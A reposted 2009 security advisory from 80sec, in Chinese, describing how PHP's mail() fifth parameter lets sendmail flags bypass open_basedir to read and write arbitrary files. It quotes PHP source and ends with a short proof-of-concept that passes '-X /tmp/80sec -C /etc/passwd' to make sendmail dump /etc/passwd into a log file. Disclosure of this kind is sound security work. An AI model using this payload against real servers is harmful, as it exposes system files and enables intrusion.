首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
php mail function open_basedir bypass
来源:http://www.80sec.com 作者:80sec 发布时间:2009-05-08  

漏洞介绍:php是一款被广泛使用的编程语言,可以被嵌套在html里用做web程序开发,但是80sec发现在php的Mail函数设计上存在问题,可能导致绕过其他的如open_basedir等限制以httpd进程的身份读写任意文件,结合应用程序上下文也可能导致文件读写漏洞。
漏洞分析:php的Mail函数在php源码里以如下形式实现:
 

Php 代码复制代码
  1. ......
  2. if (PG(safe_mode) && (ZEND_NUM_ARGS() == 5)) {
  3. php_error_docref(NULL TSRMLS_CCE_WARNING"SAFE MODE Restriction in effect. The fifth parameter is disabled in SAFE MODE.");
  4. RETURN_FALSE;
  5. }
  6.  
  7. if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC"sss|ss",
  8. &to, &to_len,
  9. &subject, &subject_len,
  10. &message, &message_len,
  11. &headers, &headers_len,
  12. &extra_cmd, &extra_cmd_len
  13. ) == FAILURE) {
  14. return;
  15. }
  16. ......
  17.  
  18. if (force_extra_parameters) {
  19. extra_cmd = estrdup(force_extra_parameters);
  20. else if (extra_cmd) {
  21. extra_cmd = php_escape_shell_cmd(extra_cmd);
  22. }
  23.  
  24. if (php_mail(to_rsubject_rmessageheadersextra_cmd TSRMLS_CC)) {
  25. RETVAL_TRUE;
  26. else {
  27. RETVAL_FALSE;
  28. }
  29. .....
  30.  
  31.  
  32.  

在php_mail中
 

Php 代码复制代码
  1. PHPAPI int php_mail(char *tochar *subjectchar *messagechar *headerschar *extra_cmd TSRMLS_DC)
  2. {
  3. ....
  4. FILE *sendmail;
  5. int ret;
  6. char *sendmail_path = INI_STR("sendmail_path");
  7. char *sendmail_cmd = NULL;
  8.  
  9. ....
  10. if (extra_cmd != NULL) {
  11. sendmail_cmd = emalloc (strlen (sendmail_path) + strlen (extra_cmd) + 2);
  12. strcpy (sendmail_cmdsendmail_path);
  13. strcat (sendmail_cmd" ");
  14. strcat (sendmail_cmdextra_cmd);
  15. else {
  16. sendmail_cmd = sendmail_path;
  17. }
  18. ....
  19. /* Since popen() doesn't indicate if the internal fork() doesn't work
  20. * (e.g. the shell can't be executed) we explicitely set it to 0 to be
  21. * sure we don't catch any older errno value. */
  22. errno = 0;
  23. sendmail = popen(sendmail_cmd"w");
  24.  
  25.  
  26.  

如果是Linux系统,Mail函数将拼接INI_STR(”sendmail_path”)的内容和额外的参数来执行命令,但是额外的参数在拼接之前经过php_escape_shell_cmd的处理,所以我们无法执行额外的命令。但是通过查阅sendmail自身的命令帮助,我们可以发现sendmail的某些参数是可以用来读写文件的,利用这个特性如果我们控制第5个参数的时候我们一样可以获得对文件系统的读写权限并且不受open_basedir等限制。

漏洞测试:
 

Php 代码复制代码
  1. <?php
  2. $to = 'jianxin&80sec.com'.str_repeat("x",10000);
  3. $subject = 'the subject'.str_repeat("x",10);
  4. $message = 'hello'.str_repeat("x",10);
  5. mail($to$subject$message$headers,"-v -bt -X /tmp/80sec -d13 -C /etc/passwd");
  6. ?>
  7.  
  8.  
本站内容均为原创,转载请务必保留署名与链接!
php mail function open_basedir bypass:http://www.80sec.com/php-mail-function-open_basedir-bypass.html

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·Bo-Blog 2.0.3 注射漏洞
·php pear mail包任意文件读写漏
·2009-4 应用安全漏洞 选录
·Google Chrome使用ajax读取本地
·server limit dos
·安全模式下exec等函数安全隐患
·尘月网络企业网站智能管理系统漏
·hzhost6.5虚拟主机管理系统最新S
·Discuz!论坛wap功能模块编码的注
·QQmail Multiple Xss Vulnerabil
·安全模式下exec等函数安全隐患
·ToolTalk rpc.ttdbserverd _tt_i
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved